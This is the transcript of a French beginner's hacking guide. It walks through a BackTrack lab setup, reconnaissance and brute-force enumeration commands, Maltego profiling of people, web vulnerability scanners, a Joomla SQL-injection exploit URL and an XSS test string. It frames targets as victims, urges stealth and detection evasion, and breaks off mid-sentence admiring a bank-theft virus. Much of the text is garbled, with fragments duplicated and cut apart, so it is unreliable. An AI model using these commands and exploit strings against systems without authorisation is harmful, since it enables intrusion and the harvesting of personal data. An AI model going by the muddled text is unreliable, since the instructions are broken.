Arsenal du hacker (2)
-
Upload
paco-diasse -
Category
Internet
-
view
516 -
download
2
Transcript of Arsenal du hacker (2)
« Oui, je suis un criminel. Mon crime est celui de la curiosité. Mon crime est celui de juger les gens par ce qu’ils pensent et disent, pas selon leur apparence.Mon crime est de vous surpasser, quelque chose que vous ne me pardonnerez jamais.Je suis un hacker, et ceci est mon manifeste. Vous pouvez arrêter cet individu, mais vous ne pouvez pas tous nous arrêter... après tout, nous sommes tous les mêmes. »(écrit par Loyd Blankenship)
Contenu :
1ére partie : Présentation
1-ADMIN@SYSTEMS
2-L’auteur
3-Pourquoi cette guide
4-A qui s’adresse cette guide
2éme partie : Construire votre laboratoire de tests.
1-Télécharger et installer virtualbox
2-Télécharger, installer et configurer Back| Track 5 sur virtualbox
3éme partie : la recherche d’information sur la cible
1-la recherche passive
2-la recherche active
a-énumération des services
b-identification des machines actives
c-foot printing
4éme partie : l’identification des vulnérabilités
1-vulnérabilité web
a-Web application fuzzers
b-Web application Proxies
c-web application vulnerability scanner
5éme partie : phase exploitation
1-injection SQL
2-attaque des services (FTP, SSH, TELNET, MySQL, SMTP, IMAP, relogin
SMB)
6éme partie : Metasploit Framework
1-Présentation du Framework
2-architecture de Metasploit
3-concept de bases de Metasploit
4-exploitation de faille avec Metasploit
5-Récapitulative des commandes utilisées
7éme partie : le social engineering ou manipulation
1-ADMIN@SYSTEMS: (Audit, Conseil, Installation et Sécurisation des Systèmes d’Information, Formations) est un groupe sénégalais regroupant des passionnés de l’informatique œuvrant dans le domaine du hacking et de la sécurité informatique. Il est ouvert à toute personne partageant la philosophie de l’Ethical hacking.Pour toutes info ou suggestions veuillez nous ecrire un mail à [email protected]. 2-L’auteur :
Hello je m’appelle Monsieur TOURE et mon nom de hacker est
pacodiasse. Je ch8 un jeune sénégalais ambitieux qui aime tout ce qui
est relatif à l’informatique. Cofondateur du groupe
[email protected] le collège j’étais impressionné par les
ordinateurs et le bricolage (réparation poste radio, télévision, torche).
Après le bac en 2008 j’ai opté de faire l’informatique et la gestion à
l’université de Thiès. Spécialiste en Pentester, détection d’intrusion
réseau, Administrateur systèmes et réseau, management de la sécurité
dans les entreprises etc. Passionné de logiciels libre & OS. Mon
prochaine guide sera dédié à « l’écriture d’outils de Pentester réseau
avec le langage PYTHON ».Qui n’a jamais rêvé d’écrire un logiciel de
piratage réseau ? .Pour réaliser ce pari je conseille de suivre l’arsenal du
hacker débutant qui sera constitué de guide traitant chaque aspect du
hacking.
3-Pourquoi cette guide :
On n’a pas besoin de réinventer la roue car ça existe déjà, le mieux est
de comprendre comment ça fonctionne pour l’utiliser selon tes besoins.
En matière d’apprentissage du hacking, parfois le débutant ne sait pas
réellement par où commencer. Restez à planter devant un vidéo
expliquant comment on pirate un serveur FTP acceptant les connexions
anonymes via cmd n’est que perte de temps. Au finish vous ne serez
jamais un apprenti hacker. Ce qui est plus important c’est de
comprendre le mode opératoire de toute attaque informatique. Un
apprenti hacker doit au moins comprendre l’algorithme et la
programmation en (C, Perl, Python, Ruby, awk, Shell), développement
web (Html, PHP & MySQL), comprendre les notions du réseau
informatique(les protocoles, la notions de ports, modèle OSI, relation
client serveur etc.), maitriser les CMS (joomla, drupal, spip, moodle) et
les systèmes d’exploitation (Back| Track & Kali lunix).le hic est qu’une
personne peut comprendre tout ce que je viens d’énumérer sans devenir
un apprenti hacker. C’est là ou vient en appoint le guide pour vous
expliquer le mode opératoire et les outils dont vous avez besoin à
chaque étape.
4- A qui s’adressent le guide :
Le guide s’adresse à toute personne désireuse de comprendre le
fonctionnement des outils utilisés par les spécialistes de la sécurité
informatique et les hackers.
Parfois les gens s’indignent à cause d’un manque de machine ou de
réseau pour tester les fonctionnalités d’un nouvel outil. Cette époque est
révolue car tout ce qu’on veut faire à distance avec plusieurs
machines peuvent être simulé en local avec le maximum de machines.
C’est cette technique que les spécialistes de la sécurité appellent « faire
ses devoirs à la maison ».
1-Télécharger et installer virtualbox sur votre machine Windows
Vous pouvez télécharger la nouvelle version en allant directement à l’adresse
(http ://www.virtualbox.org) o u cherche sur le moteur de recherche Google.
Une fois télécharger et installé on pourra se lançer dans la mise en place de notre
laboratoire virtuel.
1-Télécharger et installer Back| Track 5 sur virtualbox
Aller directement dans le lien de téléchargement (http://www.backtrack-lunix.org )
et télécharger une copie de Back| Track format ISO. De préférence choisissez la
version 32 bit de Back|Track.
-Allez dans le menu de haut de virtualbox et cliquez sur le button nouvelle ou new
pour lançer l’installation d’une nouvelle machine virtuelle.
Name ou nom: correspond au nom de la machine virtuelle installée. Vous pouvez
OS Type ou Type : correspond au système d’exploitation a installé. Dans notre cas
on peut choisir Linux.
Cliquez sur next ou suivant pour continuer l’installation.
Choisissez la taille de la mémoire à allouer (au moins 512).cliquez sur next ou
suivant.
Choisir créer un disque virtuel maintenant ou create new hard disk. cliquez next ou
suivant.
Cliquez sur créer ou create.
Notre machine virtuelle doit être figuré .cliquez sur Settings ou configuration.vous
devez avoir cette interface.
Cliquez sur stockage ou storage .vous devez voir au niveau de la rubrique IDE
controller ou Controleur IDE un icône de CD vide ou empty.cliquez sur le CD vide.
Cliquez ensuite sur l’icône du CD situant au niveau de la rubrique Attributes ou
Attributs .cliquez ensuite sur l’icône du dossier et cho
5 télécharger précédemment. Cliquez sur Ok.
Cliquez ensuite sur le bouton Network ou Réseau pour configurer le réseau. Choisir
comme mode d’accès Réseau privé hôte. Appuyer sur start ou démarrer la
machine.
Si tout se passe comme prévu vous devez voir cet écran
Cliquez ensuite sur l’icône du CD situant au niveau de la rubrique Attributes ou
Attributs .cliquez ensuite sur l’icône du dossier et choisir l’image ISO de Back|Track
5 télécharger précédemment. Cliquez sur Ok.
Cliquez ensuite sur le bouton Network ou Réseau pour configurer le réseau. Choisir
comme mode d’accès Réseau privé hôte. Appuyer sur start ou démarrer la
passe comme prévu vous devez voir cet écran
Cliquez ensuite sur l’icône du CD situant au niveau de la rubrique Attributes ou
isir l’image ISO de Back|Track
Cliquez ensuite sur le bouton Network ou Réseau pour configurer le réseau. Choisir
comme mode d’accès Réseau privé hôte. Appuyer sur start ou démarrer la
Laisser la machine booter toute seule.
Saisir dans la console startx et appuyer sur la touche ENTRER pour démarrer
l’interface graphique de Back| Track. Si tout ce passe comme prévu vous devez voir
cet écran.
Répéter la même procédure pour l’installation de la machine Windows.
NB : La procédure reste la même pour l’installation de n’importe quelle
machine. Si vous arrêtez la machine mieux vaut opter d’enregistrer
l’état de la machine pour ne peut pas perdre les données.
Répéter la même procédure pour l’installation de la machine Windows.
Ainsi nous pouvons démarrer notre aventure au pays des merveilles du
binaire.
Avant d’exploiter une faille sur un hôte, il faut au moins adopter une
certaine méthodologie qui permet d’être efficace afin d’éviter les coups
perdu .Donc je vous conseille de chercher plus d’information sur l’hôte
cible. Cette phase appelée en anglais « information gathering » est
capitale .Plus qu’on connait nos cible plus les frappes seront justes. En
faisant une analogie avec la guerre, on peut dire une armé n’attaque
jamais sans connaitre au préalable les positions de l’ennemi .Les
Américains nous ont enseigné l’envoi de drone pour une mission de
reconnaissance avant d’attaquer. Il prenne des photographies et d’autres
coordonnées géo-spatiale .Cette technique est aussi valable en
informatique. Tout attaque à l’aveuglette est Vouillé à l’échec. On va
donc se servir de quelques commandes pour bien réussir cette mission
de reconnaissance
1-la recherche passive :
� nslookup : cette commande permet de traduire un nom de
domaine (par exemple : www.google.com) en son adresse ip
correspondant. Usage :
Vous remarquez qu’on peut atteindre Google via différent adresse ip
(74.125.236.56 ou 74.125.236.48 etc.).Ceci est normal car notre amie
Google détient plusieurs serveurs.
� whois : cette commande nous permet d’extraire des informations
précieux
Sur le serveur (numéro de téléphone de l’entreprise, nom du registrant
et email de l’entreprise).Toutes ces informations nous seront utiles lors
de la phase d’exploitation des résultats. (N’hésitez pas à lancer la
commande whois –h pour avoir plus d’information)
Usage : whois + nom de domaine (par exemple
www.google.com)
� Google Dork :
Le moteur de recherche Google regorge une mine d’information qui nous
sera utile. Les hackers les plus expérimentés s’en servent pour pirater n’import
quelle serveur. Il suffit simplement de savoir quoi taper dans le moteur de
recherche. Ceci peut aller chercher votre requête dans les archives des
entreprises. Cette technique de recherche appelé recherche par mot clef doit
être maitrisé .Google Dork fera l’affaire en quelque sorte .Je vous conseille d’y
jeter un coup d’œil pour comprendre comment cela fonctionne
2-la recherche active
Cette phase est un peu délicate car on peut éveiller des soupçons à notre victime.
En prenant comme analogie notre mission de reconnaissance menée par les
drones. La réussite de cette mission tient à son aspect secrète afin de surprendre
l’ennemi.Dans ce cadre l’effet de surprise aura des résultats incroyables.
Pour mener bien cette phase on utilise quelques logiciels qui ne sont pas du tout
discret. Il suffit simplement de jeté un coup d’œil pour constater que quelqu’un
cherche en enfoncer les portes de votre défense. Si l’administrateur est malin il
peut vous localiser facilement en utilisant votre adresse ip. Donc je vous conseille
les gars d’être aussi furtif que possible. Mais force est de constater que ceci est
valable pour un administrateur digne de ce nom. Autrement dit quelqu’un qui
prend son temps d’analyser les logs d’accès au serveur et savoir faire une
analyse de paquet à temps réel. Ce temps est révolu dans plusieurs entreprises.
Aujourd’hui la principale mission de l’administrateur est de faire en sorte que les
machines s’allument et que la conne
pour faire de la jambe à l’aire avec la nouvelle stagiaire.
a)Enumération des services
Dans cette partie on s’intéresse à la rubrique DNS Analyse. Cette partie
regroupe les outils permettant une analyse
les outils on peut citer :
� dnsdict6
� dnsenum
� dnsmap
� dnsrecon
� dnstracer
� dnswalk
� fierce
� lbd
� maltego
� reverseraider
Ces outils se trouvent sous le répertoire
Exemple d’utilisation :
analyse de paquet à temps réel. Ce temps est révolu dans plusieurs entreprises.
Aujourd’hui la principale mission de l’administrateur est de faire en sorte que les
machines s’allument et que la connexion marche. Les salles d’informatique le lieu
pour faire de la jambe à l’aire avec la nouvelle stagiaire.
Enumération des services
Dans cette partie on s’intéresse à la rubrique DNS Analyse. Cette partie
regroupe les outils permettant une analyse fine du serveur DNS. Parmi
:
Ces outils se trouvent sous le répertoire (cd /pentest/enumeration/dns).
analyse de paquet à temps réel. Ce temps est révolu dans plusieurs entreprises.
Aujourd’hui la principale mission de l’administrateur est de faire en sorte que les
xion marche. Les salles d’informatique le lieu
Dans cette partie on s’intéresse à la rubrique DNS Analyse. Cette partie
fine du serveur DNS. Parmi
(cd /pentest/enumeration/dns).
� dnsenum
On s’intéresse à l’outil « dnsenum.pl ».Cette exemple d’utilisation est
aussi valable pour les autres outils .C’est simplement les options qui
différent. Pour mieux comprendre l’utilisation de chaque outil énuméré
en haut, je vous conseille de jeter un coup d’œil dans la documentation
ou le fichier README figurant dans le répertoire de l’outil concerné.
Comment ça marche :
-ouvrir un terminal et taper la commande suivante :
Cd /pentest/enumeration/dns/dnsenum
-puis lancer le script dnsenum.pl en tapant la commande :
perl dnsenum.pl --enum www.monsite.com
Quelques options de commande de l’outil dnsenum
-h :il permet de visualiser l’aide associé
-o : cette option permet d’enregistrer la sortie de dnsenum dans un
fichier pour une utilisation ultérieur.
Exemple : perl dnsenum.pl www.monsite.com -o resultat.txt
-w :il permet d’activé le serveur whois
� SNMP énumération (rubrique SNMP analyse)
Cette rubrique regroupe les outils
� Admsnmp
� Braa
� Snmpcheck
� Snmpenum
Ces outils sont répertoriés dans (cd /pentest/enumeration/snmp)
Comment ça marche :
Syntaxe par défaut :
perl snmpenm.pl [ip attaqué ou cible] [community] [config file]
Remarque :
En général community
(windows.txt, linux.txt ou cisco.txt) .Ce fichier dépend de l’os cible
Exemple d’utilisation :
-ouvrir un terminal et taper la commande suivante
Cd /pentest/enumeration/dns/snmpenum
Puis taper : perl snmpenu
Ici l’ ip 192.168.56.10 représente l’hôte cible .
� L’outil fierce
Comment ça marche :
l’outil fierce est répertorié dans (cd /pentest/enumeration/dns/fierce)
Syntaxe de base :
Perl fierce.pl -dns www.monsite.com
:il permet d’activé le serveur whois
(rubrique SNMP analyse)
Cette rubrique regroupe les outils suivants :
Ces outils sont répertoriés dans (cd /pentest/enumeration/snmp)
perl snmpenm.pl [ip attaqué ou cible] [community] [config file]
En général community correspond à public et config file peut être
(windows.txt, linux.txt ou cisco.txt) .Ce fichier dépend de l’os cible
ouvrir un terminal et taper la commande suivante :
Cd /pentest/enumeration/dns/snmpenum
: perl snmpenum.pl 192.168.56.10 public windows.txt
Ici l’ ip 192.168.56.10 représente l’hôte cible .
’outil fierce est répertorié dans (cd /pentest/enumeration/dns/fierce)
www.monsite.com
perl snmpenm.pl [ip attaqué ou cible] [community] [config file]
correspond à public et config file peut être
(windows.txt, linux.txt ou cisco.txt) .Ce fichier dépend de l’os cible
m.pl 192.168.56.10 public windows.txt
Exemple : perl fierce.pl -dns 192.168.56.10
� SMTP énumération (rubrique smtp analyse)
Exemple d’utilisation de l’outil smtp
Comment ça marche :
Cet outil permet de bruteforcer les utilisateurs du serveur smtp
Syntaxe de base :
perl smtp-user-enum.pl
Quelques commandes :
-h : cette commande affiche l’aide
-u : (users.txt) correspond au fi
-t : target ou l’adresse ip à tester
b) identification du réseau, sous réseau et machines actives
� nmap : le scanneur le plus performant de tous. Il combine plusieurs drapeaux
pour tromper l’hôte cible.
Usage : nmap + ip adresse
dns 192.168.56.10
SMTP énumération (rubrique smtp analyse)
Exemple d’utilisation de l’outil smtp-user-enum
et outil permet de bruteforcer les utilisateurs du serveur smtp
enum.pl -M VRFY -U users.txt -t 192.168.56.10
: cette commande affiche l’aide
: (users.txt) correspond au fichier contenant la liste des utilisateurs à tester
: target ou l’adresse ip à tester
) identification du réseau, sous réseau et machines actives
: le scanneur le plus performant de tous. Il combine plusieurs drapeaux
cible.
: nmap + ip adresse
t 192.168.56.10
chier contenant la liste des utilisateurs à tester
) identification du réseau, sous réseau et machines actives
: le scanneur le plus performant de tous. Il combine plusieurs drapeaux
Pour scanner un réseau en entier on utilise la commande suivante :
Usage :nmap + ip adresse/masque réseau
Exemple : nmap 192.168.217.131/24
Quelques commandes utiles de nmap :
nmap -p 1-1000 192.168.56.10
La commande -p le plage de port à scanner. On pourra aussi scanner
un seul port comme l’exemple qui suit :
nmap –p 22 192.168.56.10
On peut aussi utiliser un joker (192.168.56.10.*)
Nmap –O 192.168.56.10
-O : cette commande permet d’identifier le système d’exploitation de la
cible
Nmap -sV 192.168.56.10
-sV : cette commande permet de découvrir les services actifs de la cible
Pour clore avec le logiciel nmap il est bien de consulter la documentation
et vous ne le regrettera pas. Pour ce qui aime l’interface graphique vous
pouvez tourner vers zenmap qui est la version graphique de nmap. Tous
ces logiciels sont intégrés dans la distribution de Back| Track et kali
lunix.
� zenmap : c’est la version graphique de nmap
Usage : saisir dans la console la commande zenmap
zenmap est facile à utiliser grâce à son interface graphique.il suffit simplement de
renseigner le champ target qui correspond à l’adresse qui veut scanner et profile
représente la méthode utilisée pour mener bien le scan. Cette méthode n’est rien
d’autre qu’une combinaison de drapeau que nmap utilise pour identifier le système
d’exploitation de la cible et les services utilisés.
Exemple :
Target=www.monsite.com ou une adresse ip(192.168.56.10)
Profil: intense scan ou intense scan plus UDP
Comme vous pouvez le constater les résultats sont explicites. On a le
nom du systéme d’exploitation (OS détails : Microsoft Windows).on
connait aussi les Ports, leurs status (open ,close ou filtred) ,les services
et leurs versions.
A partir de toutes ces informations on pourra maximiser notre
attaque.Supposons que vous avez récolté dans la phase précédente en
utilisant le logiciel nmap des services qui présentent des vulnérabilités.
Vous pouvez noter les services et aller sur le site www.dbexploit-com
pour vérifier est ce que le ou les services présentent des trous de
sécurité.
c)foot printing
Rappel :
Cette partie intitulée la recherche d’information sur la cible (information
gathering) se termine par l’étude de l’outil maltego .Cette outil permet
de trouver facilement et de manière visuelles les différentes adresses e-
mail potentielles d’une personne, des numéros de téléphone qui
pourraient lui être associés, adresses IP, les DNS, serveur mail,
hébergeur, les employés d’une entreprise et bien d’autres choses encore.
Cet outil relativement complet permet d’économiser du temps dans la longue et fastidieuse tâche de collecte d’informations et vous permettra de travailler avec plus de précision et plus intelligemment.
Principales Fonctionnalités de Maltego
Maltego permet de lister des informations importantes comme :
• Noms de domaine • Whois information • L’architecture de l’ensemble du réseau • Adresses IP d’une cible • Adresses e-mail associé au nom d’une personne • Sites Web associé au nom d’une personne • Numéro de téléphone associé au nom d’une personne • Les entreprises et organisations associées au nom d’une personne • Des blogs pour les tags et les phrases spécifiques • Les métadonnées des fichiers à partir de domaines cibles
Comment ça marche :
1) un compte d’utilisateur est requis avant l’utilisation de l’outil maltego. Pour obtenir ce compte allez visiter le site : https://www.paterva.com/web6/community. Maltego est disponible sous deux versions : community édition (gratuite) et disponible dans la distribution de Back | Track et commercial version(version payante)
2) Pour lancer maltego allez dans la rubrique : Applications | Back Track | Information Gathering | Web Application Analysis | Open Source Analysis | maltego
Cliquez sur le button next , remplir la case Email Address et Password .Ce sont les
données du compte obtenue lors de l’inscription.
3) cliquez encore sur next pour valider
4) Arriver à ce stade cliquez sur finish .Comme vous pouvez le remarquer maltego est installé avec succès.
5) cliquez encore sur le button finish. La phase d’investigation peut commencer. Dans le tableau de bord de maltego. On a les rubriques investigate et Pallette. Guide d’utilisation Dans cette partie nous allons utiliser maltego pour trouver des informations sur le serveur paterva.com en guise d’exemple
� Etape à suivre 1) Cliquer sur Website dans la palette 2) Glisser l’icône sur le graph 3) Cliquez deux fois sur l’icône qui dans le graph 4) Entrer le site que vous voulez des informations 5) Cliquez avec button droit de la souris pour sélectionner le type d’informations
que vous aimerez avoir
Arriver à cette étape vous faites un clique droit sur l’icône du milieu et choisir les informations que vous souhaitez obtenir en cliquant sur Run Transform .
Utiliser maltego pour rechercher des informations sur une personne : 1) allez dans la rubrique palette et choisissez Person. Ensuite renseigner
le nom de la personne que vous souhaitez obtenir des informations.
2) Le reste du démarche est la même que celle de la recherche d’information sur un serveur. Je vous conseille de lire en intégralité la documentation de maltego disponible sur le site officiel. C’est un outil puissant qui mérite d’être consacré du temps. Ainsi prend fin le chapitre
dédié à la phase du collecte d’information appelée information gathering. Toutes ces informations recueillies seront précieuses dans la phase d’identification des vulnérabilités.Maitriser cette phase est capitale avant d’entrer dans la phase d’identification des vulnérabilités
L’identification des vulnérabilités doit être la suite logique après la phase information
gathering. Si la première phase est menée à bien on détient des informations clefs
sur la cible. Désormais on connait l’ossature du réseau cible, le sous réseau, les
services utilisées, la version des différents logiciels, les ports ouverts ou fermés, le
nature et la version du serveur utilisé(par exemple apache, nginx , IIS, etc), la
nature de l’OS(Windows, Unix, lunix, FreeBSD,Max os, Apple,Android etc.) des
différents machines du sous réseau. Toutes ces informations doivent être étudié
avec minutie pour ne peut rater la cible. Que dites vous sur un médicament qui
soigne la malaria qu’on injecte sur un patient souffrant d’un cancer du poumon ? Je
pense que certains disent que le médecin doit être emprisonné car c’est absurde.
Cette analogie est aussi valable dans la démarche d’audit d’un service ou d’un
système informatique. Par exemple si l’hôte cible fait tourner un OS Windows XP, la
recherche de vulnérabilités doit être orientée sur l’OS Windows XP et non sur
Windows 8 ou Ubuntu. Si aussi le site web que vous auditez est fait sur la base du
CMS Joomla 2.5 inutile de chercher des vulnérabilités qui touche la branche Joomla
3 encore moins le CMS Drupal ou Spip .Occupe toi de tes oignons au lieu de sortir
de la sphère dessinée lors de la phase information gathering. Les vulnérabilités
peuvent situés sur différents niveaux du système d’information de l’hôte cible.
VULNERABILITE WEB (web application assessment)
Si vous n’êtes pas à l’aise avec les vulnérabilités web (injection SQL, faille XSS, CRSF, faille d’identification par cookies, vole de session, faille include, etc.) allez sur le moteur de recherche Google et cherchez des articles traitant ces failles. Google regroupe des mines d’informations gratuites pour tous ce qui veulent évolués dans le hacking. J’ai l’habitude de dire à mes amis matheux mieux comprendre les formules que de comprendre le cheminement d’un exercice. C’est le principe de fonctionnement qu’il faut essayer de comprendre. C’est d’ailleurs ce qui différencie un hacker d’un utilisateur avancé. Essayer de comprendre avec minutie les différents vulnérabilités web avant d’utiliser des outils ou logiciel de recherche de vulnérabilités. Ces outils se trouvent dans Back Track à la rubrique :
Vulnerability assessment | web application assessment
CMS VULNERABILITY ID
� Joomscan � Plecost
Comment ça marche :
� joomscan
Joomscan est un outil qui permet de tester un site ou une application fait sur la base du CMS joomla. Le mieux est de se procurer de la nouvelle version avec les mises à jour. Consulter http://www.web
Syntaxe de base :
-ouvrir un terminal et taper
cd /pentest/web/joomscan
perl joomscan.pl -u <string>
perl joomscan.pl -u <string>
exemple : perl joomscan.pl
NB.le résultat du scan sera enrégistré dans le sous répertoire report.
cd /pentest/web/joomscan/report
string correspond au nom du site qu’on veut tester par exemple www.monsitejoomla.com ou l’adresse ip correspondant au site.
CMS VULNERABILITY IDENTIFICATION : Joomla & wordpress
Joomscan est un outil qui permet de tester un site ou une application fait sur la base du CMS joomla. Le mieux est de se procurer de la nouvelle version avec les mises à
http://www.web-center.si
cd /pentest/web/joomscan
u <string> -ot =>le résultat est enregistré sous format tex
u <string> -oh => le résultat est enregistré sous format html
perl joomscan.pl -u http://www.monsitejoomla.sn -oh
NB.le résultat du scan sera enrégistré dans le sous répertoire report.
cd /pentest/web/joomscan/report
string correspond au nom du site qu’on veut tester par exemple ou l’adresse ip correspondant au site.
Joomla & wordpress
Joomscan est un outil qui permet de tester un site ou une application fait sur la base du CMS joomla. Le mieux est de se procurer de la nouvelle version avec les mises à
ot =>le résultat est enregistré sous format text
oh => le résultat est enregistré sous format html
NB.le résultat du scan sera enrégistré dans le sous répertoire report.
string correspond au nom du site qu’on veut tester par exemple
On va tester notre outil sur un site tournant sous Joomla 2.5 .La grande défis se trouve dans l’exploitation du fichier résultat répertorié dans le dossier report. Ce fichier peut être analysé comme suit :
Info : représente le composant ou bien module Joomla . Il peut présenter des injections SQL, faille XSS etc.
Version affected: représente la version Joomla concernée. Si la vulnérabilité touche la version 2 de Joomla inutile de l’essayer dans les versions ultérieurs car elle sera corrigée.il peut aussi porter la mention any c'est-à-dire présentant dans plusieurs versions de Joomla.
Exploit :il présente la chaine d’exploit qu’on doit tester sur le site cible .vous pouvez recopier la chaine d’exploit allez sur le site à tester et voir est ce que ça marche ou non.
Exemple :
http://www.monsitejoomla.com/index.php?option=com_memorix&task=result&searchplugin=theme&Itemid=60&ThemeID=-8594
Vulnérable: si le module testé est vulnérable ou non (Non ou N\A).
Si c’est une injection SQL mieux vaut utiliser les outils d’exploitation que nous verrons dans la phase exploitation (sqlmap, sqlsus, sqlninja, xss).
� plecost
Comment ça marche :
C’est un scanneur de vulnérabilité dédié au CMS Wordpress. Mieux vaut procurer la dernière version disponible dans http://www.iniqua.com/labs
Syntaxe de base :
Taper dans le terminal :
cd /pentest/web/plecost
python plecost .py [option] [url] [-l num] -G -o resultat
le fichier résultat contient les données de l’analyse.
WEB APPLICATION FUZZERS
Cette section nous intéressons aux outils suivants :
� dirbuster � webshag_gui
Comment ça marche :
o dirbuster
C’est un outil qui permet de lister les répertoires d’un site web. Il procède par brute force en essayant une liste de nom de répertoire prés établie. Il est facile à manier pour les débutants grâce à son interface graphique. Allez au galop.
Syntaxe de base :
Vous pouvez lançer dirbuster en utilisant directement le tableau de bord de Back | Track.
Vulnerability Assessment | web Application assessment |web application fuzzers | dirbuster
Commandes de bases :
-Target URL=> correspond à l’adresse du site qu’on veut tester .Le port par défaut est le port 80 .par exemple : http://www.monsite.com. Si le site tourne sur un port différent du port 80 qui est le port par défaut, il faut la précisé.
Par exemple : http://www.monsite.com:8080 (par exemple si le serveur est apache tomcat).
-file with list of dirs/files : Tu peux choisir une méthode d’attaque parmi les deux qui suivent (List based brute force ou Pure brute force).la première choix (list based brute force) impose d’avoir un dictionnaire contenant des noms de répertoire à tester. Ce dictionnaire peut être obtenu via internet. Vous pouvez aussi confectionner une. C’est simplement un fichier texte contenant des noms de répertoire les plus probables (par exemple je peux créer un petit dictionnaire contenant le nom de quatre répertoires (admin,users,membres,administrator).
L’autre méthode c’est par Pure brute force .En réalité elle est lente car elle teste toutes les possibilités de A à Z .Donc mieux vaut choisir la première méthode si vous n’avez pas une armé de machine.
� Webshag_gui
Comment ça marche :
C’est un puissant scanneur de vulnérabilités. Il y’a deux versions graphique et console. Ce dernier est la plus facile à manier. Le scanneur nmap est intégré dans ce Framework. Il regroupe les outils suivants : PSCAN, INFO,SPIDER, USCAN,FUZZ
Syntaxe de base :
Vous pouvez lancer l’application directement dans le tableau de bord de Back | Track
Vulnerability Assessment | web Application assessment |web application fuzzers | webshag-gui
Commandes de bases :
Target : représente l’adresse ip de l’hôte cible.
PSCAN : C’est un outil semblable à nmap .il permet de découvrir les ports ouverts de l’hôte distant.
INFO : cette utilitaire permet de découvrir les noms de domaine et autres informations intéressants.
SPIDER : C’est comme dirbuster .Il permet de brute forcer les répertoires, emails, liste des liens.
USCAN & FUZZ : On peut scanner plusieurs ip simultanément avec ses outils.
WEB APPLICATION PROXIES
� OWASP ZAP
Comment ça marche :
OWASP ZAP est aussi un puissant scanneur de vulnérabilité web .Il est facile d’utilisation grâce à son interface graphique.
Syntaxe de base :On peut lancer owasp zap en utilisant directement le tableau de bord de Back | Track
Vulnerability Assessment | web Application assessment |web application|Web Application Proxies|Owasp zap.
Quelques commandes :
Sites : C’est le site à auditer. Après configuration de votre navigateur web(firefox) allez directement dans la barre d’adresse et taper le nom du site à auditer. Consulter
les pages et liens de votre choix et laisser owasp zap faire automatiquement le reste du boulot.
Active scan : cette button permet de débuter le scan du site en question
Spider : recherche de liens qui sont en rapport avec le site
Brute Force : cf dirbuster sur la partie brute force
Port scan : permet de connaitre l’état des ports ouverts (cf uscan,nmap,pscan)
Alerts :il représente le résultat du scan éffectué sur la cible.il présente quatre drapeaux allant de probable à critique.il suffit simplement de cliquez sur le drapeau concerné pour visualiser les détails et la façon d’exploiter cette faille.
current scan : il concerne le scan ou les scan en cours d’exécution. Je vous conseille de jouer avec le logiciel pour bien la maitrisé. C’est la plus simple façon de maitriser un logiciel quelconque. Le ballon est dans votre camp. Jouer !!!!
WEB APPLICATION VULNERABILITY SCANNERS :
Vulnerability Assessment | web Application assessment |web Application vulnerability scanners
Dans cette partie nous intéressons aux outils suivants :
� nikto � w3af_gui � vega
Comment ça marche :
o nikto Il fait partie du lot de logiciel scanneur de vulnérabiltés.
Syntaxe de base :
Ouvrir un terminal et taper :
cd /pentest/web/nikto
perl nikto.pl -h [target] – o [resultat.txt]
target : adresse ip ou site
resultat.txt : fichier contenant les résultats du scan
Exemple :
perl nikto.pl -h 192.168.56.105 -o resultat.txt
Le résultat est plausible et on détient des informations capitales sur la cible :
-version du serveur : Apache 2/2.3
-la nature de l’OS : Centos
Le reste du boulot consiste à vérifier les suggestions de vulnérabilités au niveau du site concerné. Si par exemple c’est une faille XSS mieux vaut la tester manuellement. Si c’est une faille d’injection SQL mieux utiliser l’outil sqlmap que nous verrons dans la phase d’exploitation des vulnérabilités.
� w3af gui Comment ça marche :
Le Framework est constitué de deux versions : graphique et console. Dans cette partie on s’intéresse à la version graphique qui est plus facile à manier pour les débutants.
Syntaxe de bases :
Taper dans un terminal sous Back | Track
./w3af_gui
Ou allez dans :
Vulnerability Assessment | web Application assessment |web Application vulnerability scanners | w3af_gui
Voici une capture d’écran :
Quelques commandes :
W3AF signifie web application attack and audit Framework. C’est une Framework qui permet d’auditer, d’exploiter les vulnérabilités d’une application web. Pour utiliser W3AF il faut au moins activer un plugin (audit & discover).Les plugins permettent d’étendre les fonctionnalités du Framework.
Discovery : c’est comme un chien renifleur, il cherche dans les liens, formulaires, etc. des informations pouvant contenir des points d’entré.
Audit : Il vérifie les informations transmis par le plugin discovery afin de déceler des vulnérabilités
Grep : ce plugin passe sous radar le code source de la page afin d’isoler les commentaires, les IP et autres informations pertinents.
Mangle : il se base sur les expressions pour modifier les requêtes et réponses.
Evasion : il permet l’évasion des systèmes de détections et firewall
Attaque : ce plugin permet d’attaquer les vulnérabilités trouvées par le plugin audit
Exploit : On distingue deux manières pour exploiter une vulnérabilité trouvée durant la phase d’audit. La première la plus simple ne nécessite pas que l’utilisateur entre la chaine de l’exploit.il suffit simplement d’activer le button exploit et d’attendre béatement le résultat. L’autre méthode appelée fastexploit nécessite de l’utilisateur entre la chaine d’exploit par exemple si c’est une faille XSS vous pouvez tester la vulnérabilité en entrant comme chaine (<script>alert(« cocou ») ;</script>). C’est ce degré de compréhension du fonctionnement des outils de tests qui différencie un hacker d’un utilisateur lambda. Pour un hacker l’ignorance du fonctionnement d’un outil est impardonnable. Ce qui l’intéresse vraiment c’est ce qui se passe dernière l’iceberg. Pour progresser dans ce domaine il faut cultiver en vous cette faculté de voir derrière les apparences. Revenons à nos moutons avant que le loup s’empare d’eux. Examinons le résultat du scan effectué par le Framework
C’est la phase ultime. Rater cette étape signifie un manque d’innovation et de technicité. Vous détenez toutes les informations clef sur la cible (adresse DNS, serveur mails, la structure du réseau, nature du ou des serveurs, services et ports ouverts, IDS ou firewall utilisé etc.)Toutes ces informations doivent être utilisées avec efficacité. A défaut on devient ce mendiant assis sur une mine d’or. Certes certains me diront si on essaie toutes les vecteurs d’attaque possible et que ça ne fonctionnent pas comment faire ? Je réponds que toute système qu’il soit informatique, financier, économique est faillible car comme dit Mitnick « c’est l’homme qui est vulnérable ».A se basant sur cette théorie on peut créer la vulnérabilité chez la cible. Il suffit de comprendre les défenses de la cible et peu à peu tu lui pousse à désamorcer ses armes .C’est une technique infaillible. Il suffit simplement de s’armer de patience et d’ingéniosité. Une attaque informatique peut être préparé durant des années ça dépend de la cible visée. Le virus carabank en est une parfaite illustration. Ce virus est un voleur de billet automatique jamais conçus. On voit dans son mode opératoire une ingéniosité qui montre la capacité de réflexion des pirates d’aujourd’hui. Une fois ce virus envoyé et exécuté sur la machine de la victime, il prend le contrôle total des hôtes du réseau et caméra IP. Le pirate peut maintenant entrer en action. L’objectif de l’attaque est de dérober de l’argent dans la plus grande discrétion. Tout le long de la 